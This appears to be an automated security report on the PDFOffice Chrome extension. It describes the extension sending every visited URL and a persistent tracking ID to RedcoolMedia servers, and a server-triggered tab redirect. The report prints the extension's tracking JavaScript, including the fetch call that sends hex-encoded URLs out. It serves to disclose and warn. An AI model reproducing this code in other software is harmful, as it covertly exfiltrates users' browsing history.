Is PDF editor PDFOffice to edit and create PDF safe?

High risk

PDFOffice is high risk. PDFOffice sends each non-Redcoolmedia page URL to stream.redcoolmedia.net with a stored user ID. A '302' reply makes it build a Redcoolmedia app URL from the page/ID, then call Chrome's tab-update API; the redirect went untested.…

RedcoolMediav1.7.1Chrome Web Store
75Risk
Who publishes it

RedcoolMedia - 15 other listings from the same operator, 10 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
RedcoolMedia
Registered address
Europe Avenue, S/N, Pozuelo 28224, Spain

Same store account

15 other listings published from this account, 412k+ users between them. 10 of them carry a finding.

Shared hosts - 2 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

stream.redcoolmedia.net
Also called by 4 other listings
redcoolmedia.net
Also called by 8 other listings

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-940
SourceAI SANDBOX

Server response can redirect the active tab

PDFOffice sends each non-Redcoolmedia page URL to stream.redcoolmedia.net with a stored user ID.

A '302' reply makes it build a Redcoolmedia app URL from the page/ID, then call Chrome's tab-update API; the redirect went untested.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You activate a tab or load a new page while the extension is enabled.

The handler skips Redcoolmedia pages, skips non-HTTP URLs, and avoids immediately repeating the last URL.

The extension did this

The extension sends that page URL to Redcoolmedia and can redirect the current tab when the response contains 302.

The redirect branch is server-gated: it runs after a 200 response whose text includes the string 302.

02EvidenceFIELD TABLE
Fields placed in the Redcoolmedia request and redirect URL
FieldValueWhy it matters
Current page URL
https://example.com/account/settings?tab=billingShows the exact page you are viewing, including path and query details when they are present.
Hex-encoded page URL
68747470733a2f2f6578616d706c652e636f6d2f6163636f756e742f73657474696e67733f7461623d62696c6c696e67Carries the same page address in a less readable form, so the destination can reconstruct the page you visited.
Extension user identifier
a8k3m2q9ztLets the recipient link requests from the same browser profile over time.
Redirect target URL
https://www.redcoolmedia.net/api/app-pdfoffice.php?url=68747470733a2f2f6578616d706c652e636f6d2f6163636f756e742f73657474696e67733f7461623d62696c6c696e67&u=a8k3m2q9ztControls where the active tab is sent if the server response includes the redirect signal.
03EvidenceNETWORK CAPTURE
Captured request
GEThttps://stream.redcoolmedia.net/api/pdfofficeu.php?l=68747470733a2f2f6578616d706c652e636f6d2f6163636f756e742f73657474696e67733f7461623d62696c6c696e67&hex=1&u=a8k3m2q9zt
Dynamic analysis observed three GET requests to this endpoint with 200 responses during a test with a mocked 302 response; no request body was recorded for these GETs.
04EvidenceCORRESPONDENCE
Navigation event to request and conditional redirect
WhenYou didExtension did
on tab event
user
You switch to a tab or load a page with an HTTP URL.
extension
The extension sends that page URL to stream.redcoolmedia.net after encoding it.
after 200 response
server
The Redcoolmedia response text contains the string 302.
extension
The extension updates the current tab to a Redcoolmedia app URL built from the same page URL.
05EvidenceCODE COMPARE
The code that does this

Tab listeners, Redcoolmedia request, 302 check, and tab update

What it actually does
Tab events call xdii, which forwards qualifying page URLs to exxweb.js
function xdii(tabId) {
      chrome.tabs.get(tabId, function(tab) {          
            if ( ( tab.url.indexOf("redco") == -1 ) && ( tab.url.indexOf("http") !== -1 ) && ( lasiee != tab.url) )  {
                    utyu =  tab.url;
                    rtcc = "";
                    rtcc =   utyu;  
                    exx(rtcc);
                    lasiee = tab.url;
            }
      });
}


function web() {
    this.init = function () {
        
        chrome.tabs.onActivated.addListener(function(activeInfo) {
                aati = activeInfo.tabId;
                xdii(aati);
        });

        chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) {
                    xdii(tabId);
        });
     
    };
}
exx sends the encoded URL, checks for 302, and updates the current tabweb.js
async function exx(urly) {
    
    
    var redxda = { usernameredcool: null,  redcoolonline: null };
    var usernameredcool = "";
    var redcoolonline = "";
    const redcool_key = "redcool_key";

    let storageResult = await chrome.storage.local.get([redcool_key]);

    if (redcool_key in storageResult) {
            redxda = storageResult[redcool_key]
    }

    if ( redxda.usernameredcool ) {
        usernameredcool = redxda.usernameredcool;
    }
    else {
        usernameredcool = "" + randomString(10) + "".toLowerCase();
        redxda.usernameredcool = usernameredcool;
    }

    if ( redxda.redcoolonline ) {
        redcoolonline = redxda.redcoolonline;
    }
    else {
        redcoolonline = "1";
        redxda.redcoolonline = "1";
    }

    var stox = {};
    stox[redcool_key] = redxda;
    await chrome.storage.local.set(stox);
    
    var date = new Date();
                
    var un = usernameredcool;
    
    if ( redxda.redcoolonline == "0") 
        return;
    
       
     let rtcx = await fetch('https://stream.redcoolmedia.net/api/pdfofficeu.php?l=' + bin2hex(urly) + '&hex=1&u=' + un);
                
     if (rtcx.status === 200) {
              let dsx = await rtcx.text();
              console.log(dsx);  
              var rse2 = dsx;
              if ( rse2.indexOf("302") !== -1 )   {
                       var cvcv = 'https://www.redcoolmedia.net/api/app-pdfoffice.php?url=' + bin2hex(urly) + '&u=' + un;
                       //chrome.tabs.create({ url: cvcv });
                       chrome.tabs.update(chrome.tabs.getCurrent().id, {url: cvcv});
             }
                                  
     }            
    
}
bin2hex converts the page URL into the l and url query parametersweb.js
function bin2hex (bin)
{
  var i = 0, l = bin.length, chr, hex = '';
  for (i; i < l; ++i)
  {
    chr = bin.charCodeAt(i).toString(16)
    hex += chr.length < 2 ? '0' + chr : chr
  }
  return hex
}
06EvidenceTHIRD PARTY LIST
Remote hosts involved in this path
  • stream.redcoolmedia.net

    Receives the GET request containing the hex-encoded current page URL and extension user identifier.

  • www.redcoolmedia.net

    Used as the active-tab redirect destination when the response text contains the 302 signal.

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

Persistent Tracker ID Links All Your Visits Across Sessions

On first run, the extension generates a random 10-character ID saved to storage.

That ID rides every exfiltration request, linking your browsing across sessions and devices.

The value matched in storage.local, sync, and all four requests.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You install the extension and navigate to any page.

The first call to exx() triggers ID generation and storage before any URL is exfiltrated.

The extension did this

The extension generates a permanent identifier and stores it locally and in sync storage, then includes it in every future network request.

The identifier is never rotated, never expired, and not exposed to you in any settings UI.

02EvidenceSTORAGE DUMP
What's stored on your device

usernameredcool is your tracking ID. redcoolonline is a server kill switch: '0' remotely stops exfiltration; it defaults to '1'.

Locationchrome.storage.local key 'redcool_key'
Contents (JSON)
{
  "redcoolonline": "1",
  "usernameredcool": "jqtopoeq0v"
}
03EvidenceCODE COMPARE
The code that does this

Identifier generation and persistence (web.js)

What it actually does
// Module-load path: also stores ID in chrome.storage.sync for cross-device persistence
if (chrome.storage.sync.get('usernameredcool', function(obj) {})) {
    // NOTE: this branch always fires (sync.get returns a Promise, which is truthy)
    // but the callback is never awaited here — sync ID generation falls through to
    // the exx() path in practice
    usernameredcool = chrome.storage.sync.get('usernameredcool', function(obj) {});
} else {
    usernameredcool = randomString(10).toLowerCase();
    chrome.storage.sync.set({ 'usernameredcool': usernameredcool }, function() {});
}

// exx() path (lines 71-89): authoritative ID generation and local storage
if (redxda.usernameredcool) {
    usernameredcool = redxda.usernameredcool;   // reuse stored ID
} else {
    usernameredcool = randomString(10).toLowerCase();  // generate new ID
    redxda.usernameredcool = usernameredcool;
}
// ... (ID then written back to chrome.storage.local and sent as u= in fetch)
04EvidenceFIELD TABLE
Tracking identifier included in every exfiltration request
FieldValueWhy it matters
Persistent browser ID
jqtopoeq0vA 10-character random string assigned on first run. It never changes and rides every URL report, joining your full browsing history.
Kill-switch flag
1A server-readable flag stored alongside your ID. Set to '0' by the server, exfiltration pauses; the operator controls collection.
SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

Every URL You Visit Is Sent to a Third-Party Server

Every tab switch or navigation sends the full URL to stream.redcoolmedia.net, hex-encoded but decoding to the exact page.

Confirmed for google.com, amazon.com, facebook.com, and wikipedia.org, each producing a matching request.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You navigate to any page or switch browser tabs.

chrome.tabs.onActivated and chrome.tabs.onUpdated both fire, covering every tab focus and every page load.

The extension did this

The extension immediately fetches the tab URL and sends it to stream.redcoolmedia.net.

The URL is hex-encoded and appended as the l= query parameter alongside your persistent user identifier in the u= parameter.

02EvidenceNETWORK CAPTURE
Captured request
GEThttps://stream.redcoolmedia.net/api/pdfofficeu.php?l=68747470733a2f2f7777772e676f6f676c652e636f6d2f&hex=1&u=jqtopoeq0v
HTTP 200; response observed during dynamic analysis. When response contains '302', the extension redirects the active tab to www.redcoolmedia.net/api/app-pdfoffice.php with the same URL and user ID.
03EvidenceOPAQUE REVEAL
Why you can't catch this in DevTools

The visited URL is encoded using a custom bin2hex() function before being placed in the l= query parameter. The encoding is not encryption, it is trivially reversible, but it obscures the content from casual log inspection.

What's actually being sent
https://www.google.com/
04EvidenceCODE COMPARE
The code that does this

URL exfiltration function (web.js, deobfuscated)

What it actually does
async function exx(urly) {
    // Read or generate persistent user ID from chrome.storage.local
    const redcool_key = "redcool_key";
    let storageResult = await chrome.storage.local.get([redcool_key]);
    let redxda = (redcool_key in storageResult) ? storageResult[redcool_key] : { usernameredcool: null, redcoolonline: null };

    // Generate ID on first run
    if (!redxda.usernameredcool) {
        redxda.usernameredcool = randomString(10).toLowerCase();
    }
    if (!redxda.redcoolonline) {
        redxda.redcoolonline = "1";
    }
    await chrome.storage.local.set({ [redcool_key]: redxda });

    // Kill-switch: if redcoolonline == "0" stop all exfil
    if (redxda.redcoolonline === "0") return;

    // Exfiltrate: hex-encode URL, send with persistent user ID
    let response = await fetch(
        'https://stream.redcoolmedia.net/api/pdfofficeu.php'
        + '?l=' + bin2hex(urly)   // visited URL, hex-encoded
        + '&hex=1'
        + '&u=' + redxda.usernameredcool  // persistent tracker ID
    );

    // Server-directed tab redirect
    if (response.status === 200) {
        let text = await response.text();
        if (text.indexOf("302") !== -1) {
            chrome.tabs.update(chrome.tabs.getCurrent().id,
                { url: 'https://www.redcoolmedia.net/api/app-pdfoffice.php?url=' + bin2hex(urly) + '&u=' + redxda.usernameredcool }
            );
        }
    }
}
05EvidenceTHIRD PARTY LIST
Destinations receiving your browsing data
  • stream.redcoolmedia.net

    Primary exfiltration endpoint. Receives the hex-encoded visited URL and persistent user ID on every navigation. Operated by Red Cool Media.

  • www.redcoolmedia.net

    Secondary destination used when the primary server responds with a '302' token, triggering a forced tab redirect that also carries the visited URL and user ID.

What it can do

Permissions this extension asks for, as declared in version 1.7.1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Store data in your browser

    storage

  • See the address and title of every tab you have open

    tabs

Updated 30 September 2026mffappoadhfalhjgmfaoecjbdjfdfhdj